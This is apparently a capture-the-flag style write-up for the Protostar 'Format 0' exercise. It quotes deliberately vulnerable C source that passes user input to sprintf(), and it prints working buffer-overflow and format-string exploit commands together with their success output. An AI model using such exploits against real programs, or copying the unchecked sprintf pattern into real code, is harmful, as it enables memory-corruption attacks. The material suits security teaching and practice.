Protostar: Format 0

A while back I went through the uncontrolled format string vulnerability exercises in the Protostar image from Exploit Exercises and I have decided to go through them again, this time with writeups. I’ll do these without recompiling the source with debug messages, extracting information from standard fuzzing techniques and calculations to align the attacks. Let’s get started on Format 0.

The Source

For this challenge we are given the following source:

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void vuln(char *string)
{
  volatile int target;
  char buffer[64];

  target = 0;

  sprintf(buffer, string);
  
  if(target == 0xdeadbeef) {
      printf("you have hit the target correctly :)\n");
  }
}

int main(int argc, char **argv)
{
  vuln(argv[1]);
}

And the following specification:

  • This level should be done in less than 10 bytes of input.

We already know this program is vulnerable to a format string exploit, so we can get right into it.

The Vulnerability

Reading through the program source we can see that it takes a command line argument and passes it to the vuln() function. In this function the program:

  • Declares a volatile int target (volatile probably to make sure the compiler doesn’t remove it during the program optimization)
  • Declares a 64 byte character array, buffer
  • Sets target to zero
  • Uses the sprintf() function to print our string into the character array
  • Checks if target is now 0xdeadbeef, and if so prints our success message

Since in the program target is never set to 0xdeadbeef, we must use some form of stack-smashing to overwrite it. The call to sprintf() is vulnerable to a buffer overflow because it doesn’t check the size of our input (try snprintf() next time). It is also vulnerable to a format string attack because it doesn’t properly call sprintf() with our input, so we can inject our own format strings.

The Buffer Overflow

We can easily overflow the allotted 64 byte buffer and write to the next item on the stack by taking advantage of the call to sprinf(). Since we are given the source, we can easily see that the target variable and the char buffer live next to each other on the stack. This makes overflowing as simple as:

./format0 `python -c 'print "A"*64 + "\xef\xbe\xad\xde"'`

This fills our 64-byte buffer with ‘A’ and (remembering our endianness) writes 0xdeadbeef to the next item on the stack.

As we expect, running this we are greeted with our success message:

$ ./format0 `python -c 'print "A"*64 + "\xef\xbe\xad\xde"'`
you have hit the target correctly :)

However we are over our 10 byte limit and we didn’t use any format strings in our exploit! Luckily there is a format string function which allows us to specify a width field which we can use to fill the buffer and accomplish our goal.

Combining With the Format String

To write 64 bytes with a format string, we could do %64x which would use hex to write 64 bytes (if we wanted we could use a different type like d or s, but x looks nice). This takes fewer characters than the straight overflow and allows us to complete the challenge.

Implementing this idea our previous exploit becomes:

`python -c 'print "%64x\xef\xbe\xad\xde"'`

which is 8 bytes in length. Sure enough, running it gives:

$ ./format0 `python -c 'print "%64x\xef\xbe\xad\xde"'`
you have hit the target correctly :)